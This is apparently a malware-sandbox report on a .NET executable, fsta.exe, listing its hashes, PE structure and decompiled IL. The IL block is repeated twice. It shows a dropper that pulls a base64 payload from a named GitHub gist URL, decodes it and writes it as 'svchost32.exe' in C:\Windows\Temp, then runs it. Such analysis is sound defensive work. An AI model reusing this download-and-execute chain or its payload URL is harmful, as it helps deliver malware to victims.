Suspicious
Suspect

ff4acd55956277e6131a6cd67a737a0f

PE Executable
MD5: ff4acd55956277e6131a6cd67a737a0f
Size: 10.24 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 ff4acd55956277e6131a6cd67a737a0f
Sha1 3d3b73023a3613a098cf279c34f2d7a9469dfe89
Sha256 f56b6877b0bb45a7ac23e785142fec6b7b24e5ccead9f26fb5aa294223fdd8aa
Sha384 f44404c3a146532c3887d25c54686e68061a922463aaf21aec600394df7ac5c9fb01f9cb889577216b9e0b9c4453f31c
Sha512 08f8a81c8cc36d0194b239b78bbe88e36f61df882d19a6e586a51fd0384e320703a9c7d38c0ee98bf0a3c58fea3df862b9efb52261182ff7e4cdc8a05119e2b2
SSDeep 192:GXJ44xNyZoAtl2F7Hjzxtl9JodlNq9nGECM2S:GXJLNyZoATa99Jo/EncM2
TLSH EB220B186BE90626D6BB0B790CB38390CB35F9629D2ADF5F2A90107D2C72F54C953763
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
ff4acd55956277e6131a6cd67a737a0f
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
fsta.exe
Full Name
fsta.exe
EntryPoint
System.Int32 FstaGate::Main(System.String[])
Scope Name
fsta.exe
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
fsta
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
21
Main Method
System.Int32 FstaGate::Main(System.String[])
Main IL Instruction Count
54
Main IL 
nop <null>
call System.Boolean FstaGate::HostGate()
stloc.s V_5
ldloc.s V_5
brtrue.s IL_0012: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_4
br.s IL_0084: nop
nop <null>
call System.Void FstaGate::EmitDefenderCanary()
nop <null>
ldstr https://gist.githubusercontent.com/bquanman/cc8123c954bf49f358e31d0369f8f83b/raw/24bef59d143f27e031c6904bf612d5c930340d68/tepl.b64
ldstr C:\Windows\Temp\tepl.b64
call System.Void FstaGate::FetchEnvelope(System.String,System.String)
nop <null>
ldstr C:\Windows\Temp\tepl.b64
call System.Byte[] FstaGate::ReadEnvelope(System.String)
stloc.0 <null>
ldloc.0 <null>
call System.Byte[] FstaGate::ReverseEnvelope(System.Byte[])
stloc.1 <null>
ldloc.1 <null>
call System.Byte[] FstaGate::CarveImage(System.Byte[])
stloc.2 <null>
ldloc.2 <null>
ldstr C:\Windows\Temp\svchost32.exe
call System.Void FstaGate::WriteDrop(System.Byte[],System.String)
nop <null>
ldstr C:\Windows\Temp\svchost32.exe
call System.Void FstaGate::StartDrop(System.String)
nop <null>
ldc.i4.0 <null>
stloc.s V_4
leave.s IL_0084: nop
stloc.3 <null>
nop <null>
call System.IO.TextWriter System.Console::get_Error()
ldloc.3 <null>
callvirt System.String System.Exception::get_Message()
callvirt System.Void System.IO.TextWriter::WriteLine(System.String)
nop <null>
ldc.i4.1 <null>
stloc.s V_4
leave.s IL_0084: nop
nop <null>
ldstr C:\Windows\Temp\tepl.b64
call System.Void FstaGate::TryDelete(System.String)
nop <null>
nop <null>
endfinally <null>
nop <null>
ldloc.s V_4
ret <null>
Module Name
fsta.exe
Full Name
fsta.exe
EntryPoint
System.Int32 FstaGate::Main(System.String[])
Scope Name
fsta.exe
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
fsta
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
21
Main Method
System.Int32 FstaGate::Main(System.String[])
Main IL Instruction Count
54
Main IL 
nop <null>
call System.Boolean FstaGate::HostGate()
stloc.s V_5
ldloc.s V_5
brtrue.s IL_0012: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_4
br.s IL_0084: nop
nop <null>
call System.Void FstaGate::EmitDefenderCanary()
nop <null>
ldstr https://gist.githubusercontent.com/bquanman/cc8123c954bf49f358e31d0369f8f83b/raw/24bef59d143f27e031c6904bf612d5c930340d68/tepl.b64
ldstr C:\Windows\Temp\tepl.b64
call System.Void FstaGate::FetchEnvelope(System.String,System.String)
nop <null>
ldstr C:\Windows\Temp\tepl.b64
call System.Byte[] FstaGate::ReadEnvelope(System.String)
stloc.0 <null>
ldloc.0 <null>
call System.Byte[] FstaGate::ReverseEnvelope(System.Byte[])
stloc.1 <null>
ldloc.1 <null>
call System.Byte[] FstaGate::CarveImage(System.Byte[])
stloc.2 <null>
ldloc.2 <null>
ldstr C:\Windows\Temp\svchost32.exe
call System.Void FstaGate::WriteDrop(System.Byte[],System.String)
nop <null>
ldstr C:\Windows\Temp\svchost32.exe
call System.Void FstaGate::StartDrop(System.String)
nop <null>
ldc.i4.0 <null>
stloc.s V_4
leave.s IL_0084: nop
stloc.3 <null>
nop <null>
call System.IO.TextWriter System.Console::get_Error()
ldloc.3 <null>
callvirt System.String System.Exception::get_Message()
callvirt System.Void System.IO.TextWriter::WriteLine(System.String)
nop <null>
ldc.i4.1 <null>
stloc.s V_4
leave.s IL_0084: nop
nop <null>
ldstr C:\Windows\Temp\tepl.b64
call System.Void FstaGate::TryDelete(System.String)
nop <null>
nop <null>
endfinally <null>
nop <null>
ldloc.s V_4
ret <null>
ff4acd55956277e6131a6cd67a737a0f
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙